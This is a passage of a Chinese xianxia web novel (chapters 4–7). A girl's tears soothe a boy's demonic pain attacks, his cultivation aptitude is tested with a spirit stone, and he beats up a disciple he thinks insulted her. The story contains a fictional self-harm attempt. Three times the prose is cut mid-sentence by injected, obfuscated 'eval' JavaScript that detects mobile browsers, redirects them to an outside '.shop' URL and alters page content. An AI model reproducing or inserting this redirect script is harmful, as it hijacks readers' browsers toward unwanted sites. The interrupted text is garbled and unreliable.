卓映雪跪在地上,痛苦地捂着头,一下一下重重砸在地面上,身子弓得像被煮熟的虾子,瘫倒在地大口大口地喘着气。 房间内桌椅倒塌,一片狼藉,卓映雪喉咙里挤出一串如野兽般破碎泣血的嘶吼,像是肉块堵在气口,他用双手掐住自己的脖子,恨不能将自己活活掐死。 地上蜿蜒出一条触目惊心的血路,周围尽是崩落的指甲。 他到底怎么了! 比起上次在生死擂上面对赤狐的痛,今日的痛更是加剧数倍,每一块脏器都像被一刀刀剁碎,生生扯断揉碎一寸寸经脉,四肢百骸仿佛被一从从熊熊业火燃烧,烧成灰烬。 死了......死了就解脱了。 画时眠赶到的时候,正看见他举起一把短刀,立刻就要往自己眉心捅去! “卓映雪,你清醒一点!” 画时眠一个猛冲,打掉他手里的短刀,把他压在自己身下。 “卓映雪,你告诉我,你怎么了?” 方才在藏书阁内的泪痕还没干,她又急得嚎啕大哭,眼泪顺着下巴颗颗落下,浸湿男孩儿的衣襟。 “你是不是很痛啊,你别怕,我一定有办法救你的。” 她手忙脚乱地翻找自己的小荷包,寻找着一切能镇痛疗伤的药物,手指却因焦急过度而僵硬麻木,一使劲,将荷包整个掉在地上,叮当的药瓶散落一地。 “对不起,对不起......” 哭什么。 痛的人又不是她。 卓映雪想安慰她,却痛得一个字也说不出来。 眉心因先前的抢地早变得血肉模糊,顺流而下的血迹遮蔽住他的视线,一瞬间,他有种再次回到了生死擂上的错觉。 唇边蓦地一凉,咸涩的液体没入干裂起皮的唇瓣,喉头不受控制地滚动,霎时间,犹如烈火遇上清泉,剧痛奇迹般地减弱、平息。 是......她的眼泪? 她的眼泪,竟是治愈他的良药。 女孩儿还不知发生了什么,依旧伏在他身上泣不成声。 “小姐,” 痛感衰减,卓映雪终于有力气将淤在心口的浊气呼出,他伸出仅剩半片残甲的手指,抚上她的脸庞,截断泪痕的走向,嘶哑着声音道: “......不要停。” 4. 鉴灵初 画时眠茫然地睁大一双泪眼,迷蒙地看着他。 “你说......什么?” 卓映雪咬紧牙关,把指尖上托着的泪珠送进口中,火燎一样的灼痛再次减轻几分,纠成一团的眉心随之缓缓展开,发出劫后余生的喟叹。 这下画时眠也看出来了:“我的眼泪,可以减轻你的痛苦是不是?” 她喜极而泣,手忙脚乱地擦掉脸上、下巴上的眼泪,沿着卓映雪干裂的唇线,一点点渗进去。 等到剧痛彻底平息,画时眠两只漂亮的杏瞳已经肿成了核桃。 可她一点都不在意,扑过去紧紧抱住卓映雪,哽咽而语:“吓死我了,我还以为你要死掉了。” 女孩儿双髻下挽起的发环随她的一举一动晃晃悠悠,像一只染上柿子色的垂耳小兔。 卓映雪被她勒得有点儿喘不上气,他直起身子,手上虽然安抚性地搭在女孩儿后背上,视线却紧盯着发环上的绒球而起伏。 “小姐,我不会死。”他轻声道。 画时眠偏着脑袋,疑惑地问:“为什么?” “因为我还要帮你试药。” 她的身子挡住了视线,卓映雪一只手搂住她,一只手摩挲着捡起地上散落的一瓶瓶灵药,装进她随身携带的小荷包里,把断了绳子的小荷包递给她。 试......药? 画时眠注视着他血肉模糊的甲床,过了好一会儿才想起来他是在呼应自己先前在伏龙殿里说过的话。 可那只是为了应付画祺安以及杜绝别人发现他独特脉象的说辞。 她根本不需要他来试药,她只要他安安稳稳地活到心窍长成的那一天。 心中顿时百感交集,画时眠叹了口气,避开伤势,握住他的手,取出药粉和绷带,一圈圈缠在他的手指上,打了几个漂亮的蝴蝶结。 “你少胡说了,我回来的时候还看见你举剑自杀呢。” 画时眠拉着他站起来,有点郁闷。 卓映雪没说话,像是在反思自己做错的事情,末了郑重地颔首:“对不起,小姐,下次不会了。” 天色渐晚,画时眠在床上翻来覆去,肿痛的眼睛聚焦床帐顶端,心里装着心事,怎么也睡不着。 今日卓映雪发作时身上的魔阴气息与煞气似乎同出本源,若是她猜得不错,煞气的出现以及后续的盛行,都和他脱不了关系。 或许正是他的诞生才诱发了这一场致使修真界灭亡的灾难。 而他自己好像并不知道这件事。 自己的眼泪,又为什么能缓解他的苦痛呢。 只怕不止是巧合这么简单,可画时眠思来想去,愣是找不到一处突破口,只得暂时作罢。 “好烦啊——” 画时眠把脸埋进被子里,一口咬住被角,恶狠狠地想难不成日后他魔阴发作一次自己就要大哭一场帮他镇痛吗! 女孩儿的哀嚎声渐渐弱下去,卓映雪从窗下爬起来,竖起耳朵听屋内的动静,果不其然,不出一刻钟,他又听见了熟悉的抽泣声。 居然会有人每晚都做噩梦...... 卓映雪虽不解其中缘由,但还是认命地钻出被子,熟门熟路地来到画时眠床前,轻轻拍打她的后背。 如此一来,天明之后他还能再睡两个时辰,若是放任画时眠一直哭下去,他一夜都不要睡了。 — 近日正逢雨水,一连下了数日的小雨,画时眠提着裙摆,小心翼翼地避开泥泞,来到与连妄尘一早约好的剑灵峰山脚,在台阶上蹭了蹭鞋底混着新绿的湿土,与三三两两的灵雀一同躲在待客堂屋檐下躲雨。 “小姐,外面春寒未退,不如进来坐坐吧。” 年轻的剑灵峰外门弟子清扫完一地草叶,见画时眠还巴巴地望向唯一通往剑灵峰顶的小道,终于发出了邀请。 “不必了,多谢守心师姐,”画时眠听见动静,飞快地掠了眼她的腰牌,笑了笑:“我与妄尘师兄约好啦,取个东西就走。” 李守心放下扫把,沉思片刻:“这个时辰连师兄应该刚结束早功,正在指导内阁弟子练剑,小姐可能要多等一会儿。” 身为剑修翘楚,连妄尘早在鉴灵初之日便展示出极佳的两仪境满境之天隙,在拜入袭无宗一年后的宗门大会上一举夺魁,被画祺安收为唯一的亲传弟子,悉心教导十年,如今不过十九,修为已迈入太初境三阶,放眼整个修真界,与他修为相近的同龄修士,满打满算也找不出第二个。 而自己前世十九岁的时候在干嘛,画时眠逗弄灵雀的手一顿,还在趁代掌门不备给他的胡子打结呢。 人与人的差距,往往比人与妖兽的差距都大。 不过连妄尘并未让她等太久,剑灵峰领空内无令不允许弟子私自御剑,连妄尘是沿着小路一路跑下来的,却并不狼狈。 “妄尘师兄,我在这儿!” “连师兄。” 面对向来不苟言笑的大师兄,李守心立刻敛息行礼,退了下去,而画时眠高高跃起,使劲挥动手臂,生怕连妄尘看不到她。 “抱歉小姐,我来迟了。” 他昨日刚从神不渡返回,连夜将探寻到的最新情况汇报给了师尊,马不停蹄地赶往早练场,又被几个内阁的师弟师妹缠了一会儿,这才脱身。 “不碍事的,”画时眠笑眯眯地伸出手,“妄尘师兄,我要的灵初石呢?” 连妄尘从怀里摸出一块昨日便一直带在身上的血红色石块,交到画时眠掌心中,“你是要为卓映雪鉴灵初?” 石块有她半个拳头大小,通体透明,质感温润,画时眠掂了掂,收进荷包里,低低地应了声:“嗯。” 她也是昨天才想到的,既然卓映雪拥有魔阴之体,体质也一定并非常人,说不定有修行的天赋,若是再幸运点,能从修行的过程找到长出心窍的方法,那就太好了。 若是再幸运点,能洗去或者减少他的魔阴煞气...... 也不一定就是异想天开嘛。 连妄尘不知她心中所想,还以为她是联想到了自身所以兴致缺缺,便半蹲下来,与她齐平,换了个话题,“小姐,我过两日又要外出了,听闻北域培育出了一种晶莹剔透的奇花,等我下次回宗时带几株,你放在窗前。” “那好,”画时眠听出来他的好心,只得放下满脑子糟心事,决定先不想这么长远,她从石阶上跳下去,四起的水花溅了灵雀一身,“那我先回去了,妄尘师兄注意安全!” 连妄尘摆摆手,看着女孩儿的身影越来越小,逐渐消失在视野中,他唇边的笑意随之敛起,若有所思地垂眸,喃喃自语:“卓映雪......” 这个男孩儿似乎有些不同寻常,关于他的来历,闲暇时他要好好探查一番。 肥嘟嘟的灵雀蹦跳着攀上少年肩头,抖了抖满是雨水的羽毛,不满地叽啾乱叫,用鹅黄鸟喙一通乱啄。 “好了,别啃了。” 卓映雪蹙起眉,拎起一根竹棍,把草莓地里偷吃的刺猬一家赶了出去。 画时眠在后山种了许多水果,这里灵气充沛,方便灵植生长的同时也便宜了不少小动物,这窝刺猬便是刚开了灵智的,常常潜伏在草莓地里,与卓映雪斗智斗勇。 被啃的七零八落的草莓陷进泥地, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我没记错的话,你今年十一,按说已经开了天隙。这个叫灵初石,只要你滴一滴指尖血在上面,灵初石便会亮起,显示你的本生天隙,若是你和我一样天隙未开,那它就什么反应都没有,和普通石块无异。” 修行...... 卓映雪接过灵初石,冰冷的触感使他浑身一激灵。 能进入袭无宗修行,是天下无数修士心向往之的一大美事,修行之路,兴许能解开困扰他多年的身世之谜。 为什么自他有意识起便被困囿于一片漆黑凶煞之地,为什么他体内时不时便会掀起一阵难以言说的剧痛,为什么画时眠的眼泪能驱散他的痛苦。 ——为什么,他从出生,便没有心窍。 这个秘密他始终守口如瓶,没有告诉任何人,包括画时眠在内。 敏锐的直觉告诉他,这个秘密公之于众那天,便是他身死之日。 “卓映雪,你别紧张,”画时眠见他迟迟不语,捏紧拳头鼓励道:“只要你开了天隙,哪怕只是四象境九阶,凭我袭无宗的修行秘法还有各种灵丹妙药,抬也会给你抬到至少两仪境。” 画时眠从荷包里翻出一根银针,递到他手上。 银针顶端的寒光刺得他双目胀痛,卓映雪不再犹豫,扎进食指指腹,霎时间,丹砂血粒自指尖滑落,摔碎在灵初石上。 两人皆屏气凝神,眨也不眨地盯着灵初石的反应。 血粒缓缓渗入石块,灵初石翁鸣两声,开始细微的颤抖,片刻后亮起醒目的红光,破开灰蒙蒙的天幕,直冲云霄。 ——妙极妙极,这下不用抬了。 这是画时眠被灵初石四周掀起的罡风震晕前留下的最后一个想法。 5. 心有灵犀 “真棒!” 画时眠仿若垂死病中惊坐起,一个鲤鱼打挺从床上坐起来,直勾勾地盯着无风自动的帘幔,脱口而出。 吓得周围一圈人连连缩缩脖子,后退数步。 画祺安率先反应过来,坐在女儿床榻边,小心地伸出一只手,张开五指,在她眼前晃了晃,试探性地叫了声:“眠眠?” 灿金的日光透过窗棂斜映而入,被手指切割成四块不规则的菱形,随着摇晃的动作拉长、旋转,投在画时眠脸颊上,暖得她一阵发痒,眼前略略眩晕。 一连下了数日的雨不知何时停了。 画时眠不自觉地抓了抓脸上被晒着的地方,扭动着酸痛的脖子,逐渐回过神来,这才发现她一间小小的寝殿里竟挤了五六个人之多。 扶婴真人见她醒来,悄悄松开了一直紧攥披帛的手,皱皱巴巴的绸带随即恢复如初,身后两位医修弟子少见如此滑稽的一幕,唇边溢出几分笑意;连妄尘眸中自责之色难掩,莲白的掌心里在太阳下清晰可见四个深色指印。 只是这些都不是画时眠关心的。 她环顾一圈,终于在门口的落地大花瓶后发现了卓映雪的影子,他不便挤上前来,只透过影影绰绰的叶片投去关切的眼神。 “好啦宗主,我就说不打紧的,”扶婴迤迤然走上前,伸出手指搭在画时眠的腕子上,“小姐体质好,方才只不过是躲闪不及,被罡风震了个正着,缓两天就没事了。” “是啊爹,我没事的,”画时眠掀开被子下了床,在地上蹦了蹦,“你看,活蹦乱跳的。” 她还不忘正事,紧跑两步,从花瓶后面把卓映雪拉出来,推到众人中央,在他身后探出小脑袋:“爹,扶婴真人,妄尘师兄,你们都看到了没有,卓映雪的本生天隙足有两仪境四阶,是个修行的好苗子呢,我们袭无宗好久都没有出现过两仪境的天隙了,上一个还是妄尘师兄呢!” “不过,”她眼珠咕噜咕噜转了一圈,“跟妄尘师兄的两仪满境还是比不了啦。” 修士们的修为自下而上共划分四个大境界,分别是四象境、三才境、两仪境、太初境;而每个大境界内又依据不同的修为划分出了数个小境界,其中四象境修士最多,阶数也最多,分九阶,代表着最漫长、最艰苦的凡人攀登之路,每升一阶都需耗尽心血。 三才境各分阴阳,即为六合,依次以天、地、人为始,共分天阳、天阴、地阳、地阴、人阳、人阴六阶。 两仪境共分四阶,对应少阳、太阳、少阴、太阴四象,卓映雪便是两仪境少阳阶,为行方便,也叫作两仪境四阶,而连妄尘的本生天隙高至两仪境太阴阶,便是人们口中的两仪满境。 太初乃万物之始,共分太初、始元、玄一三阶,画祺安便是千年难逢的太初境玄一阶,即太初满境,此境最靠近天道,仍有鸿沟之遥,再欲进步不靠苦修,而靠悟道。 只可惜画祺安心有杂念,志不在此,百年来仍未再前进一步。 连妄尘笑着摇摇头:“小姐,昨日灵初石大放异彩,破云直上,想看不到也难啊。” 他倒是一点也不意外,那日在客栈见到卓映雪的第一眼,他便隐隐有种预感,此子绝非池中之物。 昨日灵初石的异样,倒带给他一种果真如此的踏实感。 画祺安终于正视起他一直不曾放在眼里过的男孩儿,低眉顺目,俊逸清秀,模样倒是温顺乖巧。 他站起身子,行至卓映雪身前,每走一步,周身的威压便多了几分,连妄尘神色一凛,暗道不好,手中连忙掐诀,升起一道结界,将除却画时眠与卓映雪以外的人护在身后。 画时眠乃凡人,自然感觉不出个中厉害,她不解地偏偏头,目光在画祺安与卓映雪之间来回打转。 爹不知道做了什么,卓映雪一个这么能吃痛的人看上去都十分痛苦的模样,画时眠暗暗握住小荷包,纵使她心有不安,却也知道自己此刻不便插手。 这便是来自高境强者的威压么...... 卓映雪面上汗滴如雨,死死咬住下唇,周身骨骼被死死挤压,像是要爆开一样,发出瘆人的咯吱声,只短短数秒,他终于坚持不住,喷出一口血,双膝一软,噗通一声跪倒在地。 这孩子根骨不错,心性倒也坚韧。 画祺安收回法力,露出满意的笑容。 若是好好修炼,假以时日,便是第二个连妄尘。 “卓映雪!” 画时眠大惊失色,在她眼中,两人只不过是对视了几眼,然后自家爹爹就和蔼的笑了,卓映雪就悲催的跪了。 修士之间都是这样交流的吗! 痛一下倒也无妨,她主要是怕把他体内的煞气激出来,引发一系列不好的蝴蝶效应。 肩头被女孩儿柔软的掌心覆盖,卓映雪捂住胸口,拨开凌乱的刘海儿,对上一双忧心忡忡的明眸。 “小姐别怕,我没事。”他抹去唇边溢出的血迹,还不忘对画时眠扬起一个虚弱的笑容。 “那么依眠眠的意思,是想让卓映雪以外门弟子的身份拜入袭无宗?” 画祺安身后领着一群人,来到外室,若有所思地坐在主位上。 连妄尘上前一步行礼,声音温文尔雅:“师尊,距离宗门去年的招生仪式已经过去了五个月,若是此时插班,只怕是赶不及今年的宗门大会了。” 袭无宗每年九月招一次生,此次招生不做除年龄外的任何限制,只要年及九岁且天隙已开,哪怕是最低等的四象境九阶修士也照收不误,只是会在次年九月会举行一次面向全体新生的宗门大会,只有通过考核的新生可以继续留下来拜师、细分方向修炼,未通过考核的学生从哪儿来的再回哪儿去。 能留下来的弟子往往只有十之一二或者更少,甚至有几年连一个合格的新生都没有。 但值得一提的是,关于宗门大会的考核标准并未有明确的境界要求,而是基于不同的人设立不同的考核标准。 毕竟对于四象境九阶的修士来说,也许可以在一年内提升至四象境高阶甚至三才境,但对于连妄尘这样两仪满境的修士而言,却是足足修炼了十年才摸到了太初境的门槛。 哪怕天隙欠缺,但只要弟子自身足够努力,也会被袭无宗看在眼里。 所以连妄尘的话音刚落,画祺安便摇摇手,“这不碍事,像此等天隙的人,自然有另一套考核标准。” 连妄尘抿唇莞尔:“是弟子多言,师尊心中自有定数。” 卓映雪......不知为何,在看到他的第一眼,连妄尘便对他心生介怀,并没有什么好印象。 可他是小姐带回来的,无论他再不喜,也要遵从小姐的意思。 既然小姐发话了,师尊定然是依着她的意思来,因此连妄尘被驳了话头也并未苦恼,只作适当提点。 关于卓映雪修行的事情暂时告一段落,画时眠千哄万哄总算打消了扶婴为卓映雪诊治的想法,连连打包票说可以亲自下手诊治。 纵然扶婴心中疑虑万千,但见她如此自信的模样,还是决定信她一次。 横竖也治不死。 送走了乌泱泱的一帮人,画时眠扶住两边的门框,探出一颗毛茸茸的脑袋左看右看,确认自己的庭院再无他人,啪一声关紧大门。 “卓映雪,你开心吗!” 她兴奋地握住他的肩膀来回晃动,身体因激动而微微颤抖,面颊连带着鼻尖泛起粉红。 说不定这一世,修真界和卓映雪的命运便由她来改写! 虽说卓映雪最终还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17585712|205247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是要被剖心,逃不出一个死字,但为了救世牺牲他一个也值了! 理想实在太美好,她仿佛已经透过皮肤看见卓映雪胸腔里一颗正在缓缓成型扑通扑通跳动的心脏了。 女孩儿双髻间的铃铛随着身体的摆动叮铃作响,浅色的瞳孔被阳光映成金橘色,几乎要化为琼浆流淌下来。 真的有这么高兴么......仅仅因为他拥有修行的天赋? 眼前的仙门贵女几乎推翻了卓映雪对于此类人的全部认知,他第一次认识到,原来真的有素不相识的陌生人会因为他的得失而一同哭笑。 他怪病发作痛不欲生的时候,是她替他痛心泣血泪如雨下。 他托她的福拜入袭无宗修行,她也为他欢欣雀跃喜极而泣。 卓映雪伸手,接住她腮边滑落的泪珠,在阳光下宛若一颗闪烁璀璨华光的明珠珍宝。 “小姐,那你开心么?”他启唇轻轻问道。 画时眠一头栽进他怀里,轻快地说:“我开心啊。” 又来了,那股寻不到源头的甜柿香气升腾而起,如烟如雾,余味袅袅,缠住卓映雪每一个关节,他被香气牵引着缓缓抬起双臂,反抱住女孩儿纤弱的腰间,下巴搁在她颈窝。 “嗯,那我也开心。” 他想,小姐予他的许多恩情,他这辈子也还不完了。 — 连妄尘办事的效率很快,他在离开之前专门抽了个空给卓映雪送来一套崭新的外门弟子宗服和一柄木剑,连带着讲了一些注意事项。 按说新弟子都有统一的住处的,年年都安排在最大的剑灵峰里,但由于画时眠强烈要求不允许卓映雪在非上课和修炼时间离开自己的视线,于是卓映雪依然住在她的庭院里。 确切的说,是她寝殿外的窗户下。 这当然不是画时眠的本意,是卓映雪自行把床铺搬过来的。 因为这样比较方便翻进去哄她安眠。 “你转个圈给我瞅瞅。” 午后光阴正好,画时眠搬了个藤椅在院子里,舒舒服服地躺进去,口中叼了个不知从哪儿摘的草叶,满意地点点头。 外门弟子的宗服统一为白色内衬,外面罩了一层月白色外衫,收拢进雾霭蓝的腰封里,腰封左侧挂着刻有名字的木腰牌,同为白色的裤子扎进小腿靴中,简单又干练。 “卓映雪,我发现你长得蛮漂亮的嘛。” 画时眠见他像根木桩一样僵硬地转圈,索性不为难他,自己跳下来围着他走了两圈,惊奇地咦了一声。 慢慢养出些肉的男孩儿不再如最初般清瘦,面部也有了明显的线条,棱角有序的起伏,双睫颤如蝶翼,一双星瞳明若银河。 “小姐说笑了。”他脸色微微涨红,矢口否认。 小姐说他长得漂亮。 这边他还在回忆画时眠的话,那边画时眠已经不知从什么地方拽出来一堆稀奇古怪的东西。 一对护腕和一条......白绫? “为了庆祝你加入袭无宗,我还给你准备了一些小礼物。” 画时眠没管他的反应,兀自解开他原先的护腕,“这是我拆了软猬甲做的护腕和护颈,你别用原来的那对,粗制滥造的,哪里比得上我的软猬甲。” 这软猬甲是由金丝与千年藤枝编织而成的护体神衣,从祖上流传至今,形似背心,满生倒刺,拆的时候她还舍不得呢。 但有了软猬甲的保护,旁人便触碰不到他 的脉象了。 这白绫也是软猬甲所制,她专门去了一趟器灵峰,求了器修的师姐帮她塑形,虽然缠在颈部看起来不太吉利,但相比而言美观多了。 卓映雪抿抿唇,心中略一讶异。 他与小姐,当真是心有灵犀。 6. 发辫 那日小姐将他带回来说要拿他试药时,他还在担心这难保不会触摸到他的脉象,从而发现他隐藏多年的秘密。 谁承想,他不仅药没试多少,就连脉象也从未被触碰过。 这也侧面说明,小姐在医修上着实没什么天赋。 连号脉都不会。 不过这对他而言却是一件好事,他昨日还在想若是在下山修炼时有人触碰到了他的手腕或者颈侧他该怎么解释,没想到今日小姐就拿了护腕和护颈来。 他与小姐,果真是心有灵犀。 扣好护腕,画时眠拿起白绫,想要一圈圈帮他缠上,直到走近他身边,她才恍然惊觉她竟然已经需要踮起脚跟才能够到他了。 明明刚把他捡回来的时候,他还没有自己个子高。 不过这才符合一个十一岁小孩儿的标准身高嘛,画时眠略感欣慰,自己把他养的还是蛮不错的,只是不知何时才能将他的心窍养出来。 这事也不是一朝一夕就能做到的,总之急也急不得,还是慢慢摸索吧。 柔软的白绫擦过颈部皮肤,卓映雪微微低头,注视着女孩儿稚气的脸。 诸多不符合她这个年纪的表情杂糅在一起,一闪而过,并不故作老成,而是显得有些滑稽可笑,卓映雪知道她心思重,却没想到重到这个地步。 小姐......在想什么呢。 在想他吗? 画时眠像系礼盒上的彩带一样在卓映雪脖子后面打了个漂亮的蝴蝶结,大功告成之后,又懒洋洋地躺进藤椅中,把手帕蒙在脸上,蹬了蹬小腿,藤椅便跟着她小腿的幅度小而稳的摇晃起来。 “卓映雪,袭无宗每年招进来的外门弟子中不乏有出自高门大户的修士,他们一贯心比天高,总是拿鼻孔看人,若是有谁不小心冲撞了你,你不要理他便是。” 卓映雪怎么说也年长他们两岁,本身天隙极佳,又与无数妖兽搏斗厮杀,不管是身手还是战斗经验都是那群贵族子弟比不了的,万一打起来,虽说一时能占据上风,可事后被对面背后的势力找上门来,只怕吃亏的还是他自己。 “小姐,我知道的。” 卓映雪在她的藤椅旁半蹲下来,双臂压在扶手上,迫使藤椅不得不停下。 “园子里的草莓有许多已经成熟了,不如趁着闲暇,我陪小姐去摘一篮回来。” 再不摘就全便宜那窝刺猬了。 女孩儿柔软的纱裙一角搭在扶手上,被卓映雪不经意地压在手肘下,堆叠出一层一层的褶皱,像袭无宗境内起伏的山。 他像是刚刚才发觉,连忙松开手,半透明的纱片自然垂坠下来,覆盖藤椅上细小的孔隙,裙摆上长串的珠花摇摇晃晃,隔着纱裙嵌进孔隙里,宛若蒙了一片明橙色的雾。 画时眠没有发现他的小动作,她在手帕下面闭目养神,早春难得有这样好的阳光,令她难免困顿。 但是她也很想吃草莓。 鞋尖在地上无意识地蹭了两圈,最终还是食欲占了上风,她掀起手帕一角,正对上卓映雪的目光,于是伸出一只手:“那你拉我起来。” 纤细的腕子像瓷白的茶盏,卓映雪握上去,还未用力,已经留下了一块浅色的红痕。 刺痛感随着力道的加强而递增,画时眠上身猛然一顿,小声呼痛。 卓映雪一惊,蓦地松开手。 莫不是他分了心神,没控制好自己的力道。 “啊——讨厌,我的头发被树枝勾到啦!” 不知被哪里缠住了,画时眠不敢贸然回头,只能僵着脖子坐在藤椅上,哎哟哎哟地叫唤。 半个大腿悬在空中,酸胀得不行。 这坐姿好难受啊! “小姐莫急,我看看。”发现不是自己的问题,卓映雪松了一口气,快步绕到画时眠身后。 春雨过后,树枝以极快的速度抽了新芽,张牙舞爪横在空中,在画时眠来回的摇晃下一戳一戳,终于不辱使命地戳进了她脑后的编发里,与发带缠在一起。 她脑后共留了两条松松散散的发辫,正是左侧的一条被勾住了,卓映雪研究片刻,回道:“小姐,若是想在不斩断的情况下取出树芽,只有将整条发辫全部解开了。” 画时眠忙不迭点头:“那你解吧。” 她现在只想坐下。 女孩儿柔顺的长发在发带解开的一瞬间如瀑布倾泄,对着太阳闪烁出棕褐色的光泽,像一块上品的绸缎,擦拭卓映雪暖玉一样的手指。 他下意识地蜷曲手指,长发却从指缝间游走而过,犹如一尾灵活的锦鲤。 谢天谢地,终于能坐下了! 画时眠重新陷进藤椅里,调整好舒适的姿势,揉了揉由于僵持太久而酸痛的腰,小声咕哝:“腰快断了。” “小姐,”卓映雪见她面容扭曲,思索半晌,学着记忆里见过的句式,一比一复刻安慰道:“小孩儿是没有腰的。” “那你别管。”画时眠晃了晃脑袋,感受长发抚过后背的痒意,她还是不习惯散头发。 “好啦,现在再帮我编上吧。” 卓映雪握着那条玉色的发带,对着眼前的瀑布陷入了沉思。 他只会梳马尾辫。 他张了张口,还未说些什么,余光瞥见女孩儿脸上重又盖上的手帕,便闭了嘴。 身后传来窸窸窣窣的细小声响,头皮偶尔会轻扯一下,此时便能感到身后人动作停顿片刻,又试探性地换个方向。如此重复几次,直到编到发尾。 “好了。” 画时眠听见身后明显松了口气的声音,好像刚干完一场细活,忍不住有点想笑。 她一把扯掉手帕,从荷包里掏出面小镜子:“让我检查一下你编得怎——” 真丑。 右边她自己编的那条发辫蓬松柔软,像一团软乎乎的云朵糖,左边出自卓映雪之手的那条发辫粗细参差不齐,时不时还炸出来几簇。 像后山偷吃草莓的那窝刺猬成了精,趴在她头上。 见她陡然失了声,卓映雪搓了搓手指,小声问道:“小姐?” “嗯......”画时眠左看右看,本着鼓励式教育的原则,斟酌着开口:“挺可爱的。” 卓映雪蹙起眉:“小姐,我觉得有点丑。” “胡说,这不叫丑!”画时眠坐起来,对着镜子端详许久,睁眼说瞎话:“这明明是可爱!” 她的神情严肃认真,着实不像假话。 卓映雪拧成结的眉心随之一寸寸舒展开,他蹲伏下来,双瞳亮若星子:“我明白了,小姐。” 原来可爱就是丑。 他颇有醍醐灌顶恍然大悟茅塞顿开之感。 “小姐,不如日后都让我来为你编发吧,只要勤加练习,我一定不再编得这么可爱了,争取和你编的一样漂亮。” 这都是什么乱七八糟的形容词。 不过这个提议最终还是没有得到兑现,因为外门弟子出早功的时间实在是太早了,画时眠起不来。 听说内阁弟子出早功的时间还要更早。 因为扶婴真人每次都是下了早功之后才来庭院给画时眠单独上小课,彼时的画时眠一般才刚吃完早饭。 而一次早功足足有一个时辰呢。 “小姐,不对,清心花少放了一钱,这样练下去,丹炉会爆炸。” 像是为了应验扶婴恐怖的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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画时眠托着腮,百无聊赖地注视连只虫孑都没有的水面,足尖一挑一提,四颗小石子便稳稳当当飞上来,被她夹在五指之间。 再一挑一提,又有四颗石子飞上来,夹在另一只手里。 她双手交叉置于胸前,满意地喟叹。 太帅了。 虽然在学习上她没什么造诣,但是对于这些没什么用的歪门邪道,她的小窍门足以洋洋洒洒写一本书。 不知道卓映雪在山下练得怎么样了。 明知道这才过去半日,他最多学会如何渡灵入体,但画时眠还是忍不住老去想他。 万一刚渡灵就结出心窍了呢,万一被人发现他是魔阴之身怎么办,万一一个不小心引出煞气——这个应该不会,如果煞气出现,她会是最先感受到的人...... 脑中思绪纠缠悱恻,简直比昨日勾住树枝的头发还要乱,画时眠双目微眯,瞄准平静无波的水面,八颗石子宛若利箭离弦,高速飞向水面。 不出意外的话,水漂能一直打到对岸。 石子旋转破空,发出刺耳的猎猎风声,在空中划出一道优美的抛物线,最终重重击在岸边铺满青苔的石块上。 这灌满灵力的一击若是打中,对面不死也要残废。 所以卓映雪并未瞄准陶奚,只堪堪擦着他的脸颊而过,留下一道白色的擦痕。 同门间禁止私下斗殴,只不过给他一点教训罢了。 这简直是奇耻大辱! 陶奚甩开两旁阻拦他的人的手臂,拔出木剑,像一只气势汹汹的斗鸡,对着卓映雪吱哇乱叫:“你污蔑我的事暂且不提,竟然还敢如此羞辱我,我看你是活腻歪了!” 他叫嚣着冲过去,不成章法的剑法宛若王八拳。 卓映雪只用了一招便将他放倒在地,掀起阵阵尘土,围观的外门弟子越来越多,却无一人看清他的动作,皆倒抽一口凉气。 “陶奚,”卓映雪一脚踩上他的脸,风吹起他脖子上的白绫,犹如蓄势待发的白蛇,他用剑尖点地,俯下身子,在他耳畔缓缓启唇: “你千不该万不该,不该诋毁小姐。” 7. 争执 “谁诋毁小姐了!” 陶奚被踩在脚下还不忘嚷嚷,吃了一嘴的尘土。 他只是无意间看见了卓映雪身上的软猬甲,以为他和画时眠关系不错,便有心套套近乎,所以说了一句“上个月在山下见到了小姐觉得她长得很可爱”而已! 谁知道这个姓卓的就跟疯狗一样硬说他出言不逊,诋毁小姐。 天地良心,他哪一个字诋毁画时眠了! 陶奚趴在地上,瞪大眼睛,恰与卓映雪对视,一肚子怨言倏然变得无影无踪。 他唇边虽是向上勾起的,眸中却弥漫着深邃的凶煞气息,像从地狱里爬上来的妖鬼。 而且他的眼睛似乎在顷刻间变成了金色的竖瞳,那样阴气森森的姿态,他只在蛇身上见过。 有那么一瞬间,陶奚以为自己真的要死在他手下。 可当他再次望过去时,卓映雪的眼睛又恢复如常,就好像是他眼花了。 感受到卓映雪足下力道并未加重,陶奚憋着一肚子气无处发泄,瓮声瓮气道:“卓映雪,这其中一定有什么误会,你先松开我,我已经看到有人去告诉戒律长老了,再这样下去我们俩都要受罚!” 卓映雪直起身子,不动声色地蹙了下眉。 今日是他下山第一日,他也的确不想弄出太大的动静,给小姐丢脸。 可这人竟敢说小姐长得可爱,便等于在说小姐长得丑,实在是欠收拾。 卓映雪终于敛起那瘆人的笑容,放重了语气:“给小姐道歉。” “我干什——好好好对不起我错了,行了吗!” 他耳朵都要踩扁了,陶奚身上的桎梏被解除,他一骨碌从地上爬起来,捂着耳朵恶狠狠道:“卓映雪,你可知我是谁!” 卓映雪只当他在狗叫,转头就要离开。 娇生惯养长大的陶奚几时被人这般不放在眼里过,当即扯着嗓子吼道:“我可是懿洲陶家的小公子,本生天隙足有三才六阶,是十年难遇的天才,惹毛了我,你等着死吧!” 原来是他最讨厌的王公贵族。 果然不是每个贵族都像小姐一样讨人喜欢。 